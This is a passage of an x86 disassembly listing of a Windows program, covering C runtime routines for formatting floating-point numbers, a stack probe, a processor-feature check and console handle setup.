loc_410FE9:				; CODE XREF: sub_410F71+62j
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	ecx, [esi+1]
		push	ecx
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		xor	ecx, ecx
		cmp	esi, ebx
		setnle	cl
		add	eax, edi
		add	ecx, eax
		push	ecx
		call	sub_4119A9
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_411017
		mov	[edi], bl
		jmp	short loc_411030
; ---------------------------------------------------------------------------

loc_411017:				; CODE XREF: sub_410F71+A0j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_2C]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		mov	eax, edi
		push	esi
		push	[ebp+arg_8]
		call	sub_410E04
		add	esp, 18h

loc_411030:				; CODE XREF: sub_410F71+4Ej
					; sub_410F71+A4j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_410F71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41103F	proc near		; CODE XREF: sub_41105D+BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410F71
		add	esp, 18h
		pop	ebp
		retn
sub_41103F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41105D	proc near		; CODE XREF: sub_411674+63p

var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	ecx, [ebp+var_24]
		mov	[ebp+var_14], 3FFh
		xor	edi, edi
		mov	[ebp+var_4], 30h
		call	sub_402ADF
		cmp	[ebp+arg_C], edi
		jge	short loc_411088
		mov	[ebp+arg_C], edi

loc_411088:				; CODE XREF: sub_41105D+26j
		mov	esi, [ebp+arg_4]
		cmp	esi, edi
		jnz	short loc_4110BA

loc_41108F:				; CODE XREF: sub_41105D+60j
		call	sub_405B83
		push	16h

loc_411096:				; CODE XREF: sub_41105D+77j
		pop	esi
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	[eax], esi
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_18], 0
		jz	short loc_4110B3
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4110B3:				; CODE XREF: sub_41105D+4Dj
		mov	eax, esi
		jmp	loc_4113CA
; ---------------------------------------------------------------------------

loc_4110BA:				; CODE XREF: sub_41105D+30j
		cmp	[ebp+arg_8], edi
		jbe	short loc_41108F
		mov	eax, [ebp+arg_C]
		add	eax, 0Bh
		cmp	[ebp+arg_8], eax
		mov	byte ptr [esi],	0
		ja	short loc_4110D6
		call	sub_405B83
		push	22h
		jmp	short loc_411096
; ---------------------------------------------------------------------------

loc_4110D6:				; CODE XREF: sub_41105D+6Ej
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		mov	[ebp+var_C], eax
		mov	eax, [edi+4]
		mov	ecx, eax
		shr	ecx, 14h
		mov	edx, 7FFh
		push	ebx
		and	ecx, edx
		xor	ebx, ebx
		cmp	ecx, edx
		jnz	loc_411188
		test	ebx, ebx
		jnz	loc_411188
		mov	eax, [ebp+arg_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41110C
		or	eax, eax
		jmp	short loc_41110F
; ---------------------------------------------------------------------------

loc_41110C:				; CODE XREF: sub_41105D+A9j
		add	eax, 0FFFFFFFEh

loc_41110F:				; CODE XREF: sub_41105D+ADj
		push	0
		push	[ebp+arg_C]
		lea	ebx, [esi+2]
		push	eax
		push	ebx
		push	edi
		call	sub_41103F
		add	esp, 14h
		test	eax, eax
		jz	short loc_41113F
		cmp	[ebp+var_18], 0
		mov	byte ptr [esi],	0
		jz	loc_4113C9
		mov	ecx, [ebp+var_1C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_4113C9
; ---------------------------------------------------------------------------

loc_41113F:				; CODE XREF: sub_41105D+C7j
		cmp	byte ptr [ebx],	2Dh
		jnz	short loc_411148
		mov	byte ptr [esi],	2Dh
		inc	esi

loc_411148:				; CODE XREF: sub_41105D+E5j
		mov	byte ptr [esi],	30h
		inc	esi
		cmp	[ebp+arg_10], 0
		push	65h
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 78h
		mov	[esi], al
		inc	esi
		push	esi
		call	sub_411830
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4113BA
		cmp	[ebp+arg_10], 0
		setz	cl
		dec	cl
		and	cl, 0E0h
		add	cl, 70h
		mov	[eax], cl
		mov	byte ptr [eax+3], 0
		jmp	loc_4113BA
; ---------------------------------------------------------------------------

loc_411188:				; CODE XREF: sub_41105D+95j
					; sub_41105D+9Dj
		and	eax, 80000000h
		xor	ecx, ecx
		or	ecx, eax
		jz	short loc_411197
		mov	byte ptr [esi],	2Dh
		inc	esi

loc_411197:				; CODE XREF: sub_41105D+134j
		mov	ebx, [ebp+arg_10]
		mov	byte ptr [esi],	30h
		inc	esi
		test	ebx, ebx
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 78h
		mov	[esi], al
		mov	ecx, [edi+4]
		inc	esi
		neg	ebx
		sbb	ebx, ebx
		and	ebx, 0FFFFFFE0h
		and	ecx, 7FF00000h
		xor	eax, eax
		add	ebx, 27h
		xor	edx, edx
		or	eax, ecx
		jnz	short loc_4111E8
		mov	byte ptr [esi],	30h
		mov	ecx, [edi+4]
		mov	eax, [edi]
		and	ecx, 0FFFFFh
		inc	esi
		or	eax, ecx
		jnz	short loc_4111DF
		mov	[ebp+var_14], edx
		jmp	short loc_4111EC
; ---------------------------------------------------------------------------

loc_4111DF:				; CODE XREF: sub_41105D+17Bj
		mov	[ebp+var_14], 3FEh
		jmp	short loc_4111EC
; ---------------------------------------------------------------------------

loc_4111E8:				; CODE XREF: sub_41105D+168j
		mov	byte ptr [esi],	31h
		inc	esi

loc_4111EC:				; CODE XREF: sub_41105D+180j
					; sub_41105D+189j
		mov	eax, esi
		inc	esi
		cmp	[ebp+arg_C], edx
		mov	[ebp+arg_4], eax
		jnz	short loc_4111FB
		mov	[eax], dl
		jmp	short loc_41120A
; ---------------------------------------------------------------------------

loc_4111FB:				; CODE XREF: sub_41105D+198j
		mov	ecx, [ebp+var_24]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		mov	cl, [ecx]
		mov	[eax], cl

loc_41120A:				; CODE XREF: sub_41105D+19Cj
		mov	ecx, [edi+4]
		mov	eax, [edi]
		and	ecx, 0FFFFFh
		mov	[ebp+var_8], ecx
		ja	short loc_411222
		cmp	eax, edx
		jbe	loc_4112D7

loc_411222:				; CODE XREF: sub_41105D+1BBj
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], 0F0000h

loc_41122C:				; CODE XREF: sub_41105D+220j
		cmp	[ebp+arg_C], 0
		jle	short loc_41127F
		mov	edx, [edi+4]
		and	edx, [ebp+var_8]
		mov	eax, [edi]
		movsx	ecx, word ptr [ebp+var_4]
		and	eax, [ebp+var_C]
		and	edx, 0FFFFFh
		call	sub_411C90
		add	ax, 30h
		movzx	eax, ax
		cmp	ax, 39h
		jbe	short loc_41125B
		add	eax, ebx

loc_41125B:				; CODE XREF: sub_41105D+1FAj
		mov	ecx, [ebp+var_8]
		sub	[ebp+var_4], 4
		mov	[esi], al
		mov	eax, [ebp+var_C]
		shrd	eax, ecx, 4
		shr	ecx, 4
		inc	esi
		dec	[ebp+arg_C]
		cmp	word ptr [ebp+var_4], 0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], ecx
		jge	short loc_41122C

loc_41127F:				; CODE XREF: sub_41105D+1D3j
		cmp	word ptr [ebp+var_4], 0
		jl	short loc_4112D7
		mov	edx, [edi+4]
		and	edx, [ebp+var_8]
		mov	eax, [edi]
		movsx	ecx, word ptr [ebp+var_4]
		and	eax, [ebp+var_C]
		and	edx, 0FFFFFh
		call	sub_411C90
		cmp	ax, 8
		jbe	short loc_4112D7
		lea	eax, [esi-1]

loc_4112A9:				; CODE XREF: sub_41105D+25Cj
		mov	cl, [eax]
		cmp	cl, 66h
		jz	short loc_4112B5
		cmp	cl, 46h
		jnz	short loc_4112BB

loc_4112B5:				; CODE XREF: sub_41105D+251j
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4112A9
; ---------------------------------------------------------------------------

loc_4112BB:				; CODE XREF: sub_41105D+256j
		cmp	eax, [ebp+arg_4]
		jz	short loc_4112D4
		mov	cl, [eax]
		cmp	cl, 39h
		jnz	short loc_4112CE
		add	bl, 3Ah
		mov	[eax], bl
		jmp	short loc_4112D7
; ---------------------------------------------------------------------------

loc_4112CE:				; CODE XREF: sub_41105D+268j
		inc	cl
		mov	[eax], cl
		jmp	short loc_4112D7
; ---------------------------------------------------------------------------

loc_4112D4:				; CODE XREF: sub_41105D+261j
		inc	byte ptr [eax-1]

loc_4112D7:				; CODE XREF: sub_41105D+1BFj
					; sub_41105D+227j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_4112EE
		push	[ebp+arg_C]
		push	30h
		push	esi
		call	sub_407F20
		add	esp, 0Ch
		add	esi, [ebp+arg_C]

loc_4112EE:				; CODE XREF: sub_41105D+27Ej
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4112F8
		mov	esi, eax

loc_4112F8:				; CODE XREF: sub_41105D+297j
		cmp	[ebp+arg_10], 0
		mov	cl, 34h
		setz	al
		dec	al
		and	al, 0E0h
		add	al, 70h
		mov	[esi], al
		mov	eax, [edi]
		mov	edx, [edi+4]
		inc	esi
		call	sub_411C90
		xor	ebx, ebx
		and	eax, 7FFh
		and	edx, ebx
		sub	eax, [ebp+var_14]
		push	ebx
		pop	ecx
		sbb	edx, ecx
		js	short loc_411332
		jg	short loc_41132C
		cmp	eax, ebx
		jb	short loc_411332

loc_41132C:				; CODE XREF: sub_41105D+2C9j
		mov	byte ptr [esi],	2Bh
		inc	esi
		jmp	short loc_41133C
; ---------------------------------------------------------------------------

loc_411332:				; CODE XREF: sub_41105D+2C7j
					; sub_41105D+2CDj
		mov	byte ptr [esi],	2Dh
		inc	esi
		neg	eax
		adc	edx, ebx
		neg	edx

loc_41133C:				; CODE XREF: sub_41105D+2D3j
		cmp	edx, ebx
		mov	edi, esi
		mov	byte ptr [esi],	30h
		jl	short loc_411369
		mov	ecx, 3E8h
		jg	short loc_411350
		cmp	eax, ecx
		jb	short loc_411369

loc_411350:				; CODE XREF: sub_41105D+2EDj
		push	ebx
		push	ecx
		push	edx
		push	eax
		call	sub_411BB0
		add	al, 30h
		mov	[esi], al
		inc	esi
		cmp	esi, edi
		mov	[ebp+var_10], edx
		mov	eax, ecx
		mov	edx, ebx
		jnz	short loc_411374

loc_411369:				; CODE XREF: sub_41105D+2E6j
					; sub_41105D+2F1j
		test	edx, edx
		jl	short loc_41138B
		jg	short loc_411374
		cmp	eax, 64h
		jb	short loc_41138B

loc_411374:				; CODE XREF: sub_41105D+30Aj
					; sub_41105D+310j
		push	0
		push	64h
		push	edx
		push	eax
		call	sub_411BB0
		add	al, 30h
		mov	[esi], al
		mov	[ebp+var_10], edx
		inc	esi
		mov	eax, ecx
		mov	edx, ebx

loc_41138B:				; CODE XREF: sub_41105D+30Ej
					; sub_41105D+315j
		cmp	esi, edi
		jnz	short loc_41139A
		test	edx, edx
		jl	short loc_4113B2
		jg	short loc_41139A
		cmp	eax, 0Ah
		jb	short loc_4113B2

loc_41139A:				; CODE XREF: sub_41105D+330j
					; sub_41105D+336j
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_411BB0
		add	al, 30h
		mov	[esi], al
		mov	[ebp+var_10], edx
		inc	esi
		mov	eax, ecx
		mov	[ebp+var_10], ebx

loc_4113B2:				; CODE XREF: sub_41105D+334j
					; sub_41105D+33Bj
		add	al, 30h
		mov	[esi], al
		mov	byte ptr [esi+1], 0

loc_4113BA:				; CODE XREF: sub_41105D+10Bj
					; sub_41105D+126j
		cmp	[ebp+var_18], 0
		jz	short loc_4113C7
		mov	eax, [ebp+var_1C]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4113C7:				; CODE XREF: sub_41105D+361j
		xor	eax, eax

loc_4113C9:				; CODE XREF: sub_41105D+D0j
					; sub_41105D+DDj
		pop	ebx

loc_4113CA:				; CODE XREF: sub_41105D+58j
		pop	edi
		pop	esi
		leave
		retn
sub_41105D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113CE	proc near		; CODE XREF: sub_4114C3+A2p
					; sub_41157C+C3p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		mov	ebx, eax
		mov	esi, [ebx+4]
		mov	edi, ecx
		lea	ecx, [ebp+var_10]
		dec	esi
		call	sub_402ADF
		test	edi, edi
		jnz	short loc_41141B

loc_4113EE:				; CODE XREF: sub_4113CE+51j
		call	sub_405B83
		push	16h
		pop	esi
		mov	[eax], esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], 0
		jz	short loc_411414
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_411414:				; CODE XREF: sub_4113CE+3Dj
		mov	eax, esi
		jmp	loc_4114BE
; ---------------------------------------------------------------------------

loc_41141B:				; CODE XREF: sub_4113CE+1Ej
		cmp	[ebp+arg_0], 0
		jbe	short loc_4113EE
		cmp	[ebp+arg_8], 0
		jz	short loc_41143F
		cmp	esi, [ebp+arg_4]
		jnz	short loc_41143F
		xor	eax, eax
		cmp	dword ptr [ebx], 2Dh
		setz	al
		add	eax, esi
		add	eax, edi
		mov	byte ptr [eax],	30h
		mov	byte ptr [eax+1], 0

loc_41143F:				; CODE XREF: sub_4113CE+57j
					; sub_4113CE+5Cj
		cmp	dword ptr [ebx], 2Dh
		mov	esi, edi
		jnz	short loc_41144C
		mov	byte ptr [edi],	2Dh
		lea	esi, [edi+1]

loc_41144C:				; CODE XREF: sub_4113CE+76j
		mov	eax, [ebx+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_411463
		mov	eax, esi
		call	sub_410DCB
		mov	byte ptr [esi],	30h
		inc	esi
		jmp	short loc_411465
; ---------------------------------------------------------------------------

loc_411463:				; CODE XREF: sub_4113CE+86j
		add	esi, eax

loc_411465:				; CODE XREF: sub_4113CE+93j
		cmp	[ebp+arg_4], 0
		jle	short loc_4114AF
		mov	eax, esi
		call	sub_410DCB
		mov	eax, [ebp+var_10]
		mov	eax, [eax+0BCh]
		mov	eax, [eax]
		mov	al, [eax]
		mov	[esi], al
		mov	ebx, [ebx+4]
		inc	esi
		test	ebx, ebx
		jge	short loc_4114AF
		neg	ebx
		cmp	[ebp+arg_8], 0
		jnz	short loc_411496
		cmp	[ebp+arg_4], ebx
		jl	short loc_411499

loc_411496:				; CODE XREF: sub_4113CE+C1j
		mov	[ebp+arg_4], ebx

loc_411499:				; CODE XREF: sub_4113CE+C6j
		mov	edi, [ebp+arg_4]
		mov	eax, esi
		call	sub_410DCB
		push	edi
		push	30h
		push	esi
		call	sub_407F20
		add	esp, 0Ch

loc_4114AF:				; CODE XREF: sub_4113CE+9Bj
					; sub_4113CE+B9j
		cmp	[ebp+var_4], 0
		jz	short loc_4114BC
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4114BC:				; CODE XREF: sub_4113CE+E5j
		xor	eax, eax

loc_4114BE:				; CODE XREF: sub_4113CE+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4113CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114C3	proc near		; CODE XREF: sub_411674+24p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	16h
		pop	esi
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_2C]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_411B21
		xor	ebx, ebx
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_411513

loc_4114FB:				; CODE XREF: sub_4114C3+55j
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_4032F9
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_41156D
; ---------------------------------------------------------------------------

loc_411513:				; CODE XREF: sub_4114C3+36j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jbe	short loc_4114FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411523
		or	eax, eax
		jmp	short loc_41152E
; ---------------------------------------------------------------------------

loc_411523:				; CODE XREF: sub_4114C3+5Aj
		xor	ecx, ecx
		cmp	[ebp+var_2C], 2Dh
		setz	cl
		sub	eax, ecx

loc_41152E:				; CODE XREF: sub_4114C3+5Ej
		mov	esi, [ebp+arg_C]
		lea	ecx, [ebp+var_2C]
		push	ecx
		mov	ecx, [ebp+var_28]
		add	ecx, esi
		push	ecx
		push	eax
		xor	eax, eax
		cmp	[ebp+var_2C], 2Dh
		setz	al
		add	eax, edi
		push	eax
		call	sub_4119A9
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_411558
		mov	[edi], bl
		jmp	short loc_41156D
; ---------------------------------------------------------------------------

loc_411558:				; CODE XREF: sub_4114C3+8Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C]
		push	ebx
		push	esi
		push	[ebp+arg_8]
		mov	ecx, edi
		call	sub_4113CE
		add	esp, 10h

loc_41156D:				; CODE XREF: sub_4114C3+4Ej
					; sub_4114C3+93j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_4114C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41157C	proc near		; CODE XREF: sub_411674+4Ap

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	16h
		pop	edi
		push	edi
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_411B21
		xor	ebx, ebx
		add	esp, 14h
		cmp	esi, ebx
		jnz	short loc_4115CF

loc_4115B4:				; CODE XREF: sub_41157C+58j
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], edi
		call	sub_4032F9
		add	esp, 14h
		mov	eax, edi
		jmp	loc_411665
; ---------------------------------------------------------------------------

loc_4115CF:				; CODE XREF: sub_41157C+36j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, ebx
		jbe	short loc_4115B4
		mov	eax, [ebp+var_2C]
		dec	eax
		mov	[ebp+var_20], eax
		xor	eax, eax
		cmp	[ebp+var_30], 2Dh
		setz	al
		cmp	ecx, 0FFFFFFFFh
		lea	edi, [eax+esi]
		jnz	short loc_4115F2
		or	ecx, ecx
		jmp	short loc_4115F4
; ---------------------------------------------------------------------------

loc_4115F2:				; CODE XREF: sub_41157C+70j
		sub	ecx, eax

loc_4115F4:				; CODE XREF: sub_41157C+74j
		lea	eax, [ebp+var_30]
		push	eax
		push	[ebp+arg_C]
		push	ecx
		push	edi
		call	sub_4119A9
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_41160D
		mov	[esi], bl
		jmp	short loc_411665
; ---------------------------------------------------------------------------

loc_41160D:				; CODE XREF: sub_41157C+8Bj
		mov	eax, [ebp+var_2C]
		dec	eax
		cmp	[ebp+var_20], eax
		setl	cl
		cmp	eax, 0FFFFFFFCh
		jl	short loc_411649
		cmp	eax, [ebp+arg_C]
		jge	short loc_411649
		cmp	cl, bl
		jz	short loc_41162F

loc_411625:				; CODE XREF: sub_41157C+AEj
		mov	al, [edi]
		inc	edi
		test	al, al
		jnz	short loc_411625
		mov	[edi-2], bl

loc_41162F:				; CODE XREF: sub_41157C+A7j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_30]
		push	1
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+arg_8]
		call	sub_4113CE
		add	esp, 10h
		jmp	short loc_411665
; ---------------------------------------------------------------------------

loc_411649:				; CODE XREF: sub_41157C+9Ej
					; sub_41157C+A3j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_30]
		push	1
		push	eax
		push	[ebp+arg_10]
		mov	eax, esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_410E04
		add	esp, 18h

loc_411665:				; CODE XREF: sub_41157C+4Ej
					; sub_41157C+8Fj ...
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_41157C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411674	proc near		; CODE XREF: sub_4116FA+17p
					; DATA XREF: sub_40FABC+37o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		cmp	eax, 65h
		jz	short loc_4116DE
		cmp	eax, 45h
		jz	short loc_4116DE
		cmp	eax, 66h
		jnz	short loc_4116A2
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4114C3
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4116A2:				; CODE XREF: sub_411674+13j
		cmp	eax, 61h
		jz	short loc_4116C5
		cmp	eax, 41h
		jz	short loc_4116C5
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41157C
		jmp	short loc_4116F5
; ---------------------------------------------------------------------------

loc_4116C5:				; CODE XREF: sub_411674+31j
					; sub_411674+36j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41105D
		jmp	short loc_4116F5
; ---------------------------------------------------------------------------

loc_4116DE:				; CODE XREF: sub_411674+9j
					; sub_411674+Ej
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410F71

loc_4116F5:				; CODE XREF: sub_411674+4Fj
					; sub_411674+68j
		add	esp, 18h
		pop	ebp
		retn
sub_411674	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116FA	proc near		; DATA XREF: sub_40FABCo
					; .data:off_423F80o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411674
		add	esp, 1Ch
		pop	ebp
		retn
sub_4116FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41171B	proc near		; CODE XREF: sub_40FB1C+16p
		push	esi
		push	30000h
		push	10000h
		xor	esi, esi
		push	esi
		call	sub_411CAF
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_411742
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4031FD
		add	esp, 14h

loc_411742:				; CODE XREF: sub_41171B+18j
		pop	esi
		retn
sub_41171B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411744	proc near		; CODE XREF: sub_411780:loc_4117A4j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_41EE80
		fstp	[ebp+var_10]
		fld	ds:dbl_41EE78
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fdiv	[ebp+var_10]
		fmul	[ebp+var_10]
		fsubr	[ebp+var_18]
		fstp	[ebp+var_8]
		fld1
		fcomp	[ebp+var_8]
		fnstsw	ax
		test	ah, 5
		jp	short loc_41177C
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41177C:				; CODE XREF: sub_411744+31j
		xor	eax, eax
		leave
		retn
sub_411744	endp


; =============== S U B	R O U T	I N E =======================================



sub_411780	proc near		; CODE XREF: sub_40FB1C+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_41D0E0	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4117A4
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:off_41D0E8
		test	eax, eax
		jz	short loc_4117A4
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------

loc_4117A4:				; CODE XREF: sub_411780+Dj
					; sub_411780+1Dj
		jmp	sub_411744
sub_411780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4117B0	proc near		; CODE XREF: sub_410860+11j
					; .text:00410887j ...
		push	ecx
		lea	ecx, [esp+4]
		sub	ecx, eax
		sbb	eax, eax
		not	eax
		and	ecx, eax
		mov	eax, esp
		and	eax, 0FFFFF000h

loc_4117C4:				; CODE XREF: sub_4117B0+29j
		cmp	ecx, eax
		jb	short loc_4117D2
		mov	eax, ecx
		pop	ecx
		xchg	eax, esp
		mov	eax, [eax]
		mov	[esp+0], eax
		retn
; ---------------------------------------------------------------------------

loc_4117D2:				; CODE XREF: sub_4117B0+16j
		sub	eax, 1000h
		test	[eax], eax
		jmp	short loc_4117C4
sub_4117B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117DB	proc near		; CODE XREF: sub_41088C+24p
		xor	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	3
		push	40000000h
		push	offset aConout	; "CONOUT$"
		call	ds:dword_41D06C	; CreateFileA
		mov	dword_424224, eax
		retn
sub_4117DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117FA	proc near		; DATA XREF: c.7ld2ih:0041D2F4o
		mov	eax, dword_424224
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, ds:dword_41D0D8
		jz	short loc_411813
		cmp	eax, 0FFFFFFFEh
		jz	short loc_411813
		push	eax
		call	esi	; CloseHandle

loc_411813:				; CODE XREF: sub_4117FA+Fj
					; sub_4117FA+14j
		mov	eax, dword_424220
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411825
		cmp	eax, 0FFFFFFFEh
		jz	short loc_411825
		push	eax
		call	esi	; CloseHandle

loc_411825:				; CODE XREF: sub_4117FA+21j
					; sub_4117FA+26j
		pop	esi
		retn
sub_4117FA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411830	proc near		; CODE XREF: sub_41105D+102p

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_411857
		xor	eax, eax
		jmp	short loc_411859
